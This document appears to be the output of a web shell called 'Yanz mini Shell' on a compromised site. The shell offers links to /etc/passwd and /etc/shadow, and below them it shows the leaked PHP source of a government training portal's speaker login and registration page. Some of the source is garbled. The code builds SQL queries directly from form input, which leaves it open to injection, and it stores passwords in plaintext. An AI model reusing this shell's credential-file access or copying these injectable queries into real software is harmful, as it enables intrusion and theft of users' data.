Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php
include("connect.php");
if(!empty($_GET['title'])){
	$page_title=$_GET['title'];
	
session_start();

if($page_title=='Speaker Panel Login'){

<!DOCTYPE html>
<html lang="en">
<head>
  <title>National Academy for Planning & Development</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="css/custom_css.css">
  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
  <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
   <script src="js/datetimepicker_css.js"></script>
  <style>
    /* Set height of the grid so .sidenav can be 100% (adjust if needed) */
   /* .row.content {height: 1500px}*/
    
    /* Set gray background color and 100% height */
	
	.container-fluid
{
    height: 100%;
}
    .sidenav {
      background-color: #f1f1f1;
      height: 100%;
    }
    
    /* Set black background color, white text and some padding */
    footer {
      background-color: #555;
      color: white;
	  margin-top: 0px;
      padding: 15px;
    }
    
    /* On small screens, set height to 'auto' for sidenav and grid */
    @media screen and (max-width: 767px) {
      .sidenav {
        height: auto;
        padding: 15px;
      }
      .row.content {height: auto;} 
    }
  </style>
  <style>

* {box-sizing: border-box;}

/* Button used to open the contact form - fixed at the bottom of the page */
.open-button {
  background-color: #555;
  color: white;
  padding: 16px 20px;
  border: none;
  cursor: pointer;
  opacity: 0.8;
  position: fixed;
  bottom: 23px;
  right: 28px;
  width: 280px;
}

/* The popup form - hidden by default */
.form-popup {
  display: none;
  position: fixed;
  bottom: 0;
  right: 15px;
  border: 3px solid #f1f1f1;
  z-index: 9;
}

/* Add styles to the form container */
.form-container {
  max-width: 380px;
  padding: 10px;
  background-color: white;
}

/* Full-width input fields */
.form-container input[type=text], .form-container input[type=password], .form-container input[type=email] {
  width: 100%;
  padding: 8px;
  margin: 5px 0 5px 0;
  border: none;
  border-radius:5px;
  background: #f1f1f1;
}

/* When the inputs get focus, do something */
.form-container input[type=text]:focus, .form-container input[type=password]:focus {
  background-color: #ddd;
  outline: none;
}

/* Set a style for the submit/login button */
.form-container .btn {
  background-color: #4CAF50;
  color: white;
  padding: 10px 10px;
  border: none;
  cursor: pointer;
  width: 48%;
  margin-bottom:5px;
  opacity: 0.8;
}

/* Add a red background color to the cancel button */
.form-container .cancel {
  background-color: red;
}

/* Add some hover effects to buttons */
.form-container .btn:hover, .open-button:hover {
  opacity: 1;
}
</style>
  
</head>
<body>

if(isset($_POST['submit'])){
	
	$user_name=$_POST['user_name'];
	$password=$_POST['password'];

$admin_query = "select * from online_register_speaker where user_name='$user_name' AND password='$password' and email_verification_status='Success'";
	$run =  mysqli_query($db, $admin_query); 
	if(mysqli_num_rows($run)>0){
	
	$_SESSION['user_name']=$user_name;		
	echo "<script>window.open('Speaker/index.php','_self')</script>";
	}
	else {
	
	echo "<script>alert('User name or Password is incorrect please Check your User Name and Password')</script>";
	echo "<script>window.open('speaker.php?title=Speaker Panel Login','_self')</script>";
	}
}
?>   
    </div>
<style>
/* Style the buttons */

/* Style the active class, and buttons on mouse-over */
.active, .btn:hover {
    background-color: #666;
    color: #000;
}
</style>
    
  </div>
</div>

<div class="form-popup" id="myForm">
  <form action="speaker.php?title=Speaker Panel Login" class="form-container" method="post">
    <h1>Registration</h1>

<label for="psw"><b>Date of Birth</b></label>
    <input type="text" placeholder="Enter Date of Birth" id="demo3" onClick="javascript:NewCssCal('demo3')" name="date_of_birth" required>
    
    <label for="psw"><b>Gender&nbsp;&nbsp;&nbsp;&nbsp;</b></label>
    <input type="radio" value="Male" name="gender" <?php if (isset($gender) && $gender=="Male") echo "checked";?>>&nbsp;&nbsp;Male&nbsp;&nbsp;&nbsp;&nbsp; <input type="radio" value="Female" name="gender" <?php if (isset($gender) && $gender=="Female") echo "checked";?>>&nbsp;&nbsp; Female<br>
    
    <label for="name"><b>Job Designation</b></label>
    <input type="text" placeholder="Enter Job Designation" name="job_designation" required>
    
    <label for="name"><b>Organization</b></label>
    <input type="text" placeholder="Enter Organization" name="organization" required>
    
    <label for="name"><b>Email Address</b></label>
    <input type="text" placeholder="Enter Email Address" name="email_address" required>
    
    <label for="name"><b>Mobile Number</b></label>
    <input type="text" placeholder="Enter Mobile Number" name="mobile_number" required>
    
    <label for="name"><b>Password</b></label>
    <input type="password" placeholder="Enter Password" name="password" minlength="6" pattern="(?=.*\d)(?=.*[A-Za-z]).{4,}" title="Must contain at least one number and one letter, and at least 6 or more characters" required>

<button type="submit" class="btn" name="registration">Registration</button>
    <button type="button" class="btn cancel" onclick="closeForm()">Close</button>
  </form>
</div>

function closeForm() {
    document.getElementById("myForm").style.display = "none";
}
</script>
<?php include('footer.php'); ?>
</body>
</html>
<?php

if(isset($_POST['registration']))
		{
		
		$name=$_POST['name'];
		$date_of_birth=$_POST['date_of_birth'];
		$gender=$_POST['gender'];
		$job_designation=$_POST['job_designation'];
		$organization=$_POST['organization'];
		$email_address=$_POST['email_address'];
		$mobile_number=$_POST['mobile_number'];
		$password=$_POST['password'];
			
		  $registration_date=date('d/m/Y');
		
          $select_code = "select  * from  online_register_speaker where email_address='$email_address' and mobile_number='$mobile_number'";
			$run_posts =  mysqli_query($db, $select_code);
			if(mysqli_num_rows($run_posts)==0)
				 {
				 $updateinformation ="INSERT INTO `online_register_speaker`(`name`, `date_of_birth`, `gender`, `job_designation`, `organization`, `email_address`, `mobile_number`, `user_name`, `password`, `registration_date`) VALUES ('$name','$date_of_birth','$gender','$job_designation','$organization','$email_address','$mobile_number','$email_address','$password','$registration_date')";
			 mysqli_query($db, $updateinformation);

//------------Mail Send-----------
$to =$email_address;
$subject ="Registration Information for Your National Academy for Planning & Development Account";
$txt ="Dear Participant,

Congratulation! You have successfully completed the first part of the registration process of NAPD online  service portal.
We (NAPD) are very happy to get you registering and we welcome you to our portal.
To complete the registration and verify your mail address please clicks on below mentioned link and login to your account.

http://training.napd.ac.bd/verify/user/vereificationspeaker.php?email=".$email_address."&data=9532654BD781547023AB4FA7723F2FCD12345678901234561234567890123456@#gfdgdcvhtbgfyvtdsfdsfpo8uueruybjyuytusbyikn8995658erwtyrybjiuu8887rtpijuyiopooiukjir9259wqetr5%44!@###$$$$%*96jhghgiuhohiughbbjhflkioi

Thanks

National Academy for Planning & Development(NAPD),
3/A, Nilkhat, Dhaka-1205.
Email: info@napd.gov.bd
Web: www.napd.gov.bd

**This is an Auto Generated Email. Please do not Reply to this mail. ";
$headers = "From:no-reply@napd.ac.bd";

mail($to,$subject,$txt,$headers);

//----------Mail Send End---

/*
			echo "<script>alert('Thank You.Your Course Type Information Add Suceesfully.')</script>";*/
	echo "<script>window.open('speaker.php?title=Speaker Panel Login','_self')</script>";
				 }else{
			echo "<script>alert('Sorry. Your Registration Information already Exited!!.')</script>";
	echo "<script>window.open('speaker.php?title=Speaker Panel Login','_self')</script>";	 
					 
					 }
		}
?>

<?php

}
	else if($page_title=='Participant Panel Login'){
		echo "<script>window.open('participant.php?title=Participant Panel Login','_self')</script>";
		}
		else if($page_title=='Admin Panel Login'){
		echo "<script>window.open('index.php?title=Admin Panel Login','_self')</script>";
		}
		else if($page_title=='Course management Login'){
		echo "<script>window.open('coursemanagement.php?title=Course management Login','_self')</script>";
		}else if($page_title=='Data Entry Panel Login'){
		echo "<script>window.open('dataentry.php?title=Data Entry Panel Login','_self')</script>";
		}else{
			echo "<script>window.open('error_page.php','_self')</script>";
			}
			
	}else{
		echo "<script>window.open('error_page.php','_self')</script>";
		}		
?>